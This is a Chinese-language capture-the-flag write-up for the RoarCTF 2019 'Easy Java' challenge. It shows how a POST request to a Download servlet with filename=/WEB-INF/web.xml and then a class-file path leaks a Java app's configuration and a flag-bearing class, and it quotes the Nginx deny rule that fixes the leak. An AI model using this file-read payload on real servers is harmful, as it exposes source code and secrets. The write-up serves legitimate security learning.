[RoarCTF 2019]Easy Java
随意登录一下显示密码错误
点击一下help按钮,url发生了变化
直接访问一下help.docx,并没有发现什么东西
题目给的提示是java,去百度一下java源码泄露,发现文章CTF常见源码泄漏总结 - JavaShuo
WEB-INF/web.xml泄露
WEB-INF是Java的WEB应用的安全目录。若是想在页面中直接访问其中的文件,必须经过web.xml文件对要访问的文件进行相应映射才能访问。 WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml
:Web应用程序配置文件,描述了 servlet 和其余的应用组件配置及命名规则。/WEB-INF/classes/
:含了站点全部用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/
:存放web应用须要的各类JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/
:源码目录,按照包名结构放置各个java文件。/WEB-INF/database.properties
:数据库配置文件漏洞成因: 一般一些web应用咱们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及作均衡负载的优势和完成一些分层结构的安全策略等。在使用这种架构的时候,因为对静态资源的目录或文件的映射配置不当,可能会引起一些的安全问题,致使web.xml等文件可以被读取。 漏洞检测以及利用方法: 经过找到web.xml文件,推断class文件的路径,最后直接class文件,在经过反编译class文件,获得网站源码。 通常状况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat作均衡负载或集群等状况时,问题缘由其实很简单,Nginx不会去考虑配置其余类型引擎(Nginx不是jsp引擎)致使的安全问题而引入到自身的安全规范中来(这样耦合性过高了),修改Nginx配置文件禁止访问WEB-INF目录就行了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其余!
尝试一下/WEB-INF/web.xml查看一下配置文件
好像并没有什么卵用,尝试去掉Download?
直接就报错了,返回到最开始的页面f12查看一下发现了post
尝试一下用post方法传值
得到一个下载文件,下载打开即得配置文件
<web-app xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
在最后发现了
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
/WEB-INF/classes/
:含了站点全部用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中。构造新的payload:filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
得到class文件,打开即得
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(
name = "FlagController"
)
public class FlagController extends HttpServlet {
String flag = "ZmxhZ3swYjQ5YTRhNy02ZTM2LTRhOTctYThjZi0zNzdhYzE5YjI4ZjV9Cg==";
public FlagController() {
}
protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
PrintWriter var3 = var2.getWriter();
var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}
base64加密字符串,拿去解密即得flag
撒花结束